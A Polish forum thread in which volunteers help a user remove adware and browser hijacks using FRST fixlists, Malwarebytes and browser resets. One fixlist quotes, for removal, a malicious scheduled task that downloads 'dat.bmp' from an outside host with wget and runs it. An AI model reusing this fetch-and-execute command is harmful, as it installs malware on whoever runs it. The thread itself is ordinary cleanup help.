Okna wyskakują w ad bloku i spowolnienie laptopa


(Kladus1996) #1

Info z RFST

FRST http://www.wklej.org/id/1670538/

Addition http://www.wklej.org/id/1670541/

Wcześniej prowadziłem zaciętą walkę z programem który wyświetlał złośliwe reklamy ale usunąłem go.

Edit. Poprawione z godnie z prośbą moderatora :slight_smile:


(Spandau) #2
  1. Użytkownik proszący o pomoc obowiązany jest zaprezentować raporty FRST zgodnie z instrukcją.

Instrukcja http://forum.dobreprogramy.pl/nowy-log-obowi%C4%85zkowy-farbar-recovery-scan-tool-t478727/


(Atis) #3

Wklej do systemowego notatnika i zapisz jako plik tekstowy o nazwie fixlist :

CloseProcesses:
Startup: C:\Users\Gilu\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Mirillis Action! 1.22.1 Key.lnk
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => No File
CHR HKLM\SOFTWARE\Policies\Google: Policy restriction <======= ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Policy restriction <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
StartMenuInternet: IEXPLORE.EXE - C:\Program Files (x86)\Internet Explorer\iexplore.exe http://www.omniboxes.com/?type=sc&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216
S2 1eeea34e; c:\Program Files (x86)\IncrementEdit\IncrementEdit.dll [1924096 2015-03-08] () [File not signed]
c:\Program Files (x86)\IncrementEdit
2015-03-11 11:36 - 2015-03-23 23:38 - 00260096 _____ () C:\ProgramData\dat.bmp
2015-02-28 10:39 - 2015-03-08 21:17 - 00000000 ____ D () C:\AdwCleaner
2015-03-08 20:30 - 2015-02-18 07:23 - 00000000 ____ D () C:\ProgramData\{8d82c753-177e-e80a-8d82-2c7531771d4c}
2015-03-08 20:30 - 2015-02-17 22:37 - 00000000 ____ D () C:\ProgramData\{db606c11-47b4-fb87-db60-06c1147bb045}
2015-03-10 19:23 - 2015-03-10 19:23 - 0332800 _____ () C:\ProgramData\wget.exe
Task: {9D79977E-4D80-460C-851D-6C12ECA2CB4B} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" &amp; ping 1.1.1.1 -n 300 -w 1000 &amp; wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=PqETavhHSwlHEoGOp367;Minecraft;1426011878 &amp; start cmd /R dat.bmp <==== ATTENTION
EmptyTemp:

Uruchom FRST i kliknij Fix. Pokaż raport z usuwania Fixlog.

Kliknij Scan i pokaż nowy raport z FRST bez Addition.


(Kladus1996) #4

Fixlog - http://www.wklej.org/id/1670582/

FTST - http://www.wklej.org/id/1670583/\

Właśnie wszedłem na stronę banku i znowu te reklamy ;/

Edit: zauważyłem teraz że strony za pierwszym razem nie chcą mi się załadować :confused:


(Atis) #5

Wklej do systemowego notatnika i zapisz jako plik tekstowy o nazwie fixlist :

CloseProcesses:
C:\Users\Gilu\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Mirillis Action*.lnk
C:\ProgramData\{db606c11-47b4-fb87-db60-06c1147bb045}
EmptyTemp:

Uruchom FRST i kliknij Fix. Pokaż raport z usuwania Fixlog.

Kliknij Scan i pokaż nowy raport z FRST bez Addition.


(Kladus1996) #6

Fixlog - http://www.wklej.org/id/1670992/

FRST - http://www.wklej.org/id/1670993/


(Atis) #7

Skasuj folder C:\FRST

Usuń stare punkty przywracania: Aby usunąć wszystkie punkty przywracania

Dysk przeskanuj Malwarebytes Anti-Malware

Podczas instalacji usuń zaznaczenie przy Uruchom okres testowy Malwarebytes Anti-Malware Premium.

http://wstaw.org/m/2014/03/25/2014-03-25_123039.png

Język PL > Settings > General Settings > Language > Polish

Odinstaluj Java 8 Update 31 i zainstaluj Java 8 Update 40


(Kladus1996) #8

Okej wszystko już zrobione :wink: Czy to już wszystko ? Jeżeli tak to dziękuję za pomoc :slight_smile:


(Atis) #9

Nie widaomo jakie reklamy, na jakich stronach, a ja nie jestem wróżką.

Resetowanie ustawień przeglądarki

Jeżeli nie pomoże to odinstaluj Chrome zaznaczając usunięcie danych przeglądania.

Najpierw możesz wyeksportować zakładki: KLIK

Geek Uninstaller free: KLIK

Później zainstaluj: KLIK